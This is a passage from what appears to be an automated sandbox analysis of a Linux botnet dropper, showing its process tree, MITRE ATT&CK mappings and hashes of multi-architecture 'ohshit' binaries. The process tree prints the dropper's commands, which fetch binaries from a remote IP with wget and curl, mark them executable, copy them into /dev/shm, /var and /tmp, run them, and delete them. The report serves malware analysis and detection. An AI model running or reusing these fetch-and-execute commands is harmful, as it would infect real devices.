  - File and Directory Permissions Modification
  PID:911
- /tmp/ohshit.ppc.x
  /tmp/ohshit.ppc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/sh
  sh ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/rm
  rm -f ohshit.ppc /dev/shm/ohshit.ppc /var/ohshit.ppc /tmp/ohshit.ppc.x
  2⤵
  PID:915
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  - Writes file to shm directory
  PID:916
- /bin/busybox
  busybox wget -q -O ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  PID:917
- /usr/bin/curl
  curl -fsSLk -o ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  - Checks CPU configuration
  PID:918
- /bin/busybox
  busybox curl -fsSLk -o ohshit.ppc64 http://192.142.28.77/bachekuni/ohshit.ppc64
  2⤵
  PID:919
- /bin/rm
  rm -f ohshit.ppc64 /dev/shm/ohshit.ppc64 /var/ohshit.ppc64 /tmp/ohshit.ppc64.x
  2⤵
  PID:920
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k
  2⤵
  - Writes file to shm directory
  PID:921
- /bin/chmod
  chmod +x ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /dev/shm/ohshit.m68k
  ./ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/cp
  cp ohshit.m68k /dev/shm/ohshit.m68k
  2⤵
  PID:925
- /bin/cp
  cp ohshit.m68k /var/ohshit.m68k
  2⤵
  - Reads runtime system information
  PID:926
- /bin/chmod
  chmod +x /var/ohshit.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /var/ohshit.m68k
  /var/ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/cp
  cp ohshit.m68k /tmp/ohshit.m68k.x
  2⤵
  - Writes file to tmp directory
  PID:930
- /bin/chmod
  chmod +x /tmp/ohshit.m68k.x
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/ohshit.m68k.x
  /tmp/ohshit.m68k.x routers
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/sh
  sh ohshit.m68k routers
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/rm
  rm -f ohshit.m68k /dev/shm/ohshit.m68k /var/ohshit.m68k /tmp/ohshit.m68k.x
  2⤵
  PID:935
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh4
  2⤵
  - Writes file to shm directory
  PID:936
- /bin/chmod
  chmod +x ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /dev/shm/ohshit.sh4
  ./ohshit.sh4 routers
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/cp
  cp ohshit.sh4 /dev/shm/ohshit.sh4
  2⤵
  PID:940
- /bin/cp
  cp ohshit.sh4 /var/ohshit.sh4
  2⤵
  PID:941
- /bin/chmod
  chmod +x /var/ohshit.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /var/ohshit.sh4
  /var/ohshit.sh4 routers
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/cp
  cp ohshit.sh4 /tmp/ohshit.sh4.x
  2⤵
  - Writes file to tmp directory
  PID:945
- /bin/chmod
  chmod +x /tmp/ohshit.sh4.x
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/ohshit.sh4.x
  /tmp/ohshit.sh4.x routers
  2⤵
  - System Network Configuration Discovery
  PID:947
- /bin/sh
  sh ohshit.sh4 routers
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/rm
  rm -f ohshit.sh4 /dev/shm/ohshit.sh4 /var/ohshit.sh4 /tmp/ohshit.sh4.x
  2⤵
  PID:950
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc
  2⤵
  - Writes file to shm directory
  PID:951
- /bin/chmod
  chmod +x ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /dev/shm/ohshit.arc
  ./ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/cp
  cp ohshit.arc /dev/shm/ohshit.arc
  2⤵
  PID:955
- /bin/cp
  cp ohshit.arc /var/ohshit.arc
  2⤵
  - Reads runtime system information
  PID:956
- /bin/chmod
  chmod +x /var/ohshit.arc
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /var/ohshit.arc
  /var/ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:958
- /bin/cp
  cp ohshit.arc /tmp/ohshit.arc.x
  2⤵
  - Writes file to tmp directory
  PID:960
- /bin/chmod
  chmod +x /tmp/ohshit.arc.x
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/ohshit.arc.x
  /tmp/ohshit.arc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/sh
  sh ohshit.arc routers
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/rm
  rm -f ohshit.arc /dev/shm/ohshit.arc /var/ohshit.arc /tmp/ohshit.arc.x
  2⤵
  PID:965
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc
  2⤵
  - Writes file to shm directory
  PID:966
- /bin/chmod
  chmod +x ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /dev/shm/ohshit.spc
  ./ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/cp
  cp ohshit.spc /dev/shm/ohshit.spc
  2⤵
  PID:970
- /bin/cp
  cp ohshit.spc /var/ohshit.spc
  2⤵
  PID:971
- /bin/chmod
  chmod +x /var/ohshit.spc
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /var/ohshit.spc
  /var/ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:973
- /bin/cp
  cp ohshit.spc /tmp/ohshit.spc.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/chmod
  chmod +x /tmp/ohshit.spc.x
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/ohshit.spc.x
  /tmp/ohshit.spc.x routers
  2⤵
  - System Network Configuration Discovery
  PID:977
- /bin/sh
  sh ohshit.spc routers
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/rm
  rm -f ohshit.spc /dev/shm/ohshit.spc /var/ohshit.spc /tmp/ohshit.spc.x
  2⤵
  PID:980
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  - Writes file to shm directory
  PID:981
- /bin/busybox
  busybox wget -q -O ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  PID:982
- /usr/bin/curl
  curl -fsSLk -o ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:983
- /bin/busybox
  busybox curl -fsSLk -o ohshit.riscv64 http://192.142.28.77/bachekuni/ohshit.riscv64
  2⤵
  PID:984
- /bin/rm
  rm -f ohshit.riscv64 /dev/shm/ohshit.riscv64 /var/ohshit.riscv64 /tmp/ohshit.riscv64.x
  2⤵
  PID:985
- /bin/rm
  rm -f /tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
  2⤵
  PID:986

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ohshit.arc

Path /dev/shm/ohshit.arc
Size 161KB
SHA256 4a75c5d3fade1815d3f14d4da775111370d769cc48284ea78a6314c1f717b903
MD5 becffac560f9dedba3131abb0ae92ac8
SHA1 5166fd46878814154d5d218723b841a4a5024d39
SHA512 c2326d7f754f004e758ccc42ddc4776c365b318f238f384f3af25e4a8687aa9f30925917fdf11f4647ff29e59737b30d332eff839b04666a6d5fdfe6261b6b83
SSDEEP 3072:sH7jzPVf6jQiDhiE+flFJ6qoRNaPRgl6UWcz3q:shyjQmyJIXz3q
TLSH
T1F5F39C93F3030491D46689F113CB7B8CAEA34137DE6BA4E3FC1A4976A9694DF0126BD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm

Path /dev/shm/ohshit.arm
Size 134KB
SHA256 9ae7aacca1d705eb31cb6e9cdf320b474382c847597ac669ec4051da9f51d234
MD5 49a55e6d234640cbbf0a38bfd50c8ede
SHA1 34d72107d2e1e3fbe89a061175dc40606701ba81
SHA512 811f29fdd64d6c4d7771a8f656ef657af51ad10c8ab92d5cefc8feccfc2c22baa0390dcd2debaff4c4f9ddc6ea07ead8066e4a4129a31b6f302e94372faccb98
SSDEEP 3072:uW8PclkTVKgirEa09YgD48rYg4oQWEMlX6UWaFKW:uW8PclAKgi4a0P88kgUJE7FKW
TLSH
T13DD33A82F9418956C5D606F3B62E22CD7B5603BAE3DB3203ED154F11778695F0A3BAD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm5

Path /dev/shm/ohshit.arm5
Size 97KB
SHA256 6d87ae2ed432257f12b073709ea0668ec25548cb31281f53ff891a7eb3ac5f3e
MD5 7c81ed655d4aa25cf0e537f4f2b6c66e
SHA1 fcd1f6f20fe5e86a7c33a159fd942802dbf4e33e
SHA512 7a028d33be754b25e3636e110ba459d01ae4d964952b8bd56f301fced02448e2278bac5e264a2d7c7d80b95395bda459fd85dfdcbed8f82843346c79699a584f
SSDEEP 1536:X0Eq0pzKy5gttUbq0O9WW1V6OQvYxMG9zKvDhMSblPqQ2y2AO96UWPJzK+b:Tq0pzKsgtUbMWPvO9iDFZPY6UW5Ku
TLSH
T189A33982F99284AEC2D406F2227E768D37A253F6D1DB3153EC154B127B8965F0A36FD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm6

Path /dev/shm/ohshit.arm6
Size 142KB
SHA256 8ab15f9d27798b9308f8272ff3ab51cf3188b153c05db5d774a2cb5081576afd
MD5 01c8836d85947a152d81a905b71e80dd
SHA1 8ea8dd8e73c3239447c05996568779c882ebc673
SHA512 ac48eeac63db8263d0d8c6fce05749ac6fe7feeb49f9eb898074e67a8cb70d9b29feb0982b3d2206a684a72e818ceba5b72e8231161ec5009cef2dd08af1d0dd
SSDEEP 3072:7BPATNeAU+YMAOiwap3t1aCbaa0cJIsGqdfH6UWzKh:7BPkN9RA7p3DalqIsGIWKh
TLSH
T197E35C43E9818965D1D601F6BA2E318D335303BAE3EF7213ED144F20778A99F0A77A95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.arm7

Path /dev/shm/ohshit.arm7
Size 221KB
SHA256 8d5eec24052138e24c1342dc054a8e25d2837027b27cfcd7c4f1a7aea597dbbf
MD5 d9d98306be7d9e7a1ab6027b9ff92f47
SHA1 442ed04c5c57159906bc3bf166c9ee7db95b387b
SHA512 9f05879d0904a7726779515f781e868525bc827fd3335e4ad911e9e922d617c5f818a7c155bf856de6ea6e2fd52092d791d68225cd472726833f838b1f8c98c3
SSDEEP 6144:toqC1uLDadfkQf1DpFJfDiZ08K/zi5GM/9gW2Ku:toF1uLDaBkQfFpFJLE0cn/KL
TLSH
T17B243A43EB408953C0D617B6B6AF624533238775D3EB7306E9186FB03B8669E0E37685
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.i686

Path /dev/shm/ohshit.i686
Size 129KB
SHA256 c8545034cd4fe71eeadb24dacddc5da95c4311c7112c299f1325801f3e06f928
MD5 6c533f0ae1236042ce2ac05e81719feb
SHA1 7170172f780599e295bf76fbaf8f2dcde28d955e
SHA512 ff0f22f506217fa0bb5ec904e5f1dc5bf0389b7784555a4f8ccdb0d92bd0afe4fab47936b22111ce54d741c9b4fd20ef190e03fbff35ffd8979f4356a373d6c3
SSDEEP 3072:C1HC8MoqKmibjuoJPsXy8bhXKqIWBpLkizyP62MIT:iEi/uoJPsB33IuIT
TLSH
T1B2D32A86F68780F6E41B88706067B23FCA32857E8033D65AFF955E71EE2758651323C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.m68k

Path /dev/shm/ohshit.m68k
Size 140KB
SHA256 e9f77036f5b9a26c6037cc30b362e618e0f8296ec38bf9bef475acad1a9e0467
MD5 a32dcc952cf1f64ae74b08e260e92911
SHA1 b6c1a5bf689bed0588fe9bef864d58b8c2819014
SHA512 3438778bc4a6272e98d74c8225ac3d80dfd16ff2d456c8fe539b2ce05d7bfb87dd0c225ffa8cfde22c67f64c7d47d3517c5b5f23564eb15d9d6863be492f4605
SSDEEP 3072:fsHV5US0QnM8H3YnWgRKdURxgyvus+PvtLMdWZLIV6n0xg:kEwM8XYntpOyvhiv1MWIO0xg
TLSH
T16EE34AC3F501CDBEF80AD9B340232915A832C37769935763B257BE63AC361D5182AED6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.mips

Path /dev/shm/ohshit.mips
Size 169KB
SHA256 f9ec1b33dfc61dad616223f2eef5a80d3b9b9165e9035b574eb436b34a78ee8e
MD5 f46d6f12245effbc5162c077ee1203b9
SHA1 da7910d7cd36c83e0da9434fd6f0f814f243af9e
SHA512 d319ad7bd119fefc79f57eb6760c6cb0ac4ad46ea4ab4b8e59199fe793bc28feb0b848628c2da226944719d4a584cfe80b4daf5c23673720caaa81922b1d4ec3
SSDEEP 3072:Kr2ZBqHbvDmJK9IPluOJI2sSKaShvFO8lI2K8dkngny6UWx8Acyx:Kr2Lq2JK9uoOJI2IhvFO8lnK8ht8AcY
TLSH
T1A304E70EAF214F7DF7A8C57103B36E65965913A72AD2D6C1D16CDA007E6028E242FBF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.mpsl

Path /dev/shm/ohshit.mpsl
Size 173KB
SHA256 9ad88e310633406c46aff5b7130ca6a2a3cdb0d70781001838e50a9f5f35e415
MD5 369bf2e293d6f6871f510d693eb21213
SHA1 2e188e96262b05d04dc615acbfa1f0b42cbf33a6
SHA512 25f45b2a8efc3587a4fc7ad680fd28f1cb2007c67b922ebbddbdb5a14dd6674dbffdf3b5b15f4a60df22e9118475b0e255a7e327f1b92c5e9379d2c981860438
SSDEEP 3072:yUgC91AdIK6l5nDsgowqyX/FFVa6UWZ8u1:yKAdIK85nDsXwqyL8u
TLSH
T17604F806EBA11EFBE4AFCC7706E96701188D462721B93BB6B570C418F64A58F15E3DB0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.ppc

Path /dev/shm/ohshit.ppc
Size 130KB
SHA256 ccb82d2519b1e47d3cbc68aee066d76a41faaf096a7ef76f26ff06fbfd9b7cb9
MD5 833c3164a8c6ae37d49b2d931f19789b
SHA1 6fb41b1f8c5836c04581f2c3abe244f5447b981d
SHA512 6b238f38f09b353d5515f78c57fe5ffe5d31d82ca4303d1831447cea15e24d5da87357b92cb9ed21ddfb250381a89b0d6bf71d5c3b1234b8056216287fe92422
SSDEEP 1536:HLrTTu6SAgcNjv3bdHcA4VJscQyoE8JnMbciihAbmwt0Q2y2AO96UWUJN87//Apv:Hf6us3Tx8JMb8DL6UW487/Ip6Q
TLSH
T1DED35C03F3080A87D1664CF1293F37E4CBEBC17650B5F68AB50A8B4595B69BB0556FC8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.sh4

Path /dev/shm/ohshit.sh4
Size 121KB
SHA256 e9b874205ac4ea08be239ae98cfc17a51c6fa8dada1c8a4340a499178a5a0e6f
MD5 c3dfc2b3d4a34a831a1953c8dff738ce
SHA1 2fd031f8fa82293a7e68bdee171c8c37868b4a4d
SHA512 71e7ab04d0e12a096ba1025e167dbb568b4f8911a7b7529219154059cbd35bd8518f4ff4e72e028a7a8c1f843d2885920d50282702f69bf163a1f87710359903
SSDEEP 3072:EhfGBF6RqM+vloyQQRibDJdlII6UWm8d:Eh+Kp+N+hBcg8d
TLSH
T147C38D13D6500CD8D11888F23065BA749BA3823B55632DF7F59ACEA5988BEDD3039BF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.spc

Path /dev/shm/ohshit.spc
Size 135KB
SHA256 69e3b714d2a4fac4a6ba67c144a248714349c094d48fb40b2f11ddaff72ee27c
MD5 2e01679e7d06069f8beb9fc45d9b0f29
SHA1 0108269aa827355566bb80f76f3a62ccb6038c93
SHA512 b94025954c03d4828de6d450b5a3e4e6e241eb1734d00ade172aef0ed57bc35146fd24cb981e4e1b1bfc660b8fc53d3c508f2ada8cbfb042c7ca00252744112b
SSDEEP 1536:b2S9MLRRNjWDlUtuWesyHTAB3AEHJhQ53klIuxR5c2rKHZfttJNm5CSlU8rktdQh:hwNyJMesyH0QQp9rI/JNOL5qUGFcBx
TLSH
T1D5D36B23E635082BC1E494B321B36361E4F6036F14B9AA4FBD720E88FF159942167BF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.x86

Path /dev/shm/ohshit.x86
Size 121KB
SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
MD5 59b98f52977620c5e3356981226afc7a
SHA1 95940e97688109bec4bb27124828abff8272119a
SHA512 dbf44d491da3af06e5df39e1187f0ff7ed47560c4aea16eac0a1389ce45985f47a1dfccefc9741ebceaef51aeda9ddf9af76d92362dd7b76a87397bc444d7d06
SSDEEP 3072:P43/Qco2DWxDoB7SFM2L3GeCxDYKDen621IS:P4vDDWtoB7iNLQle/IS
TLSH
T111C329C6E347C0FAE81508F1216BB73299B7C13F542BDA93EB654D61BD529828036BDC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ohshit.x86_64

Path /dev/shm/ohshit.x86_64
Size 139KB
SHA256 88d028a54a136782982817d1d93c89b075b7f04897b0c0681311add7c8712eb6
MD5 c3406825be3171f85be5992c232114e1
SHA1 b25420bc4f64cec574015d962e96e6a04e94695f
SHA512 b081490bb89da8993d18e3c55df4c213690b971ae7eec75f93bb54df5961a4b37c056f71049b6b2abe3c445b1089cf06994536abdfb1654d4b57738ddc223c2e
SSDEEP 3072:62R2vF3Iu3zJk9T8lhfbqcL1dQ0mnqmLI2:6I2vNIoJkgXRdkI2
TLSH
T157D33903F6C148FDC068C5B013BF7131D972F4AE523A7287BB94AE216D4EE951639AD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads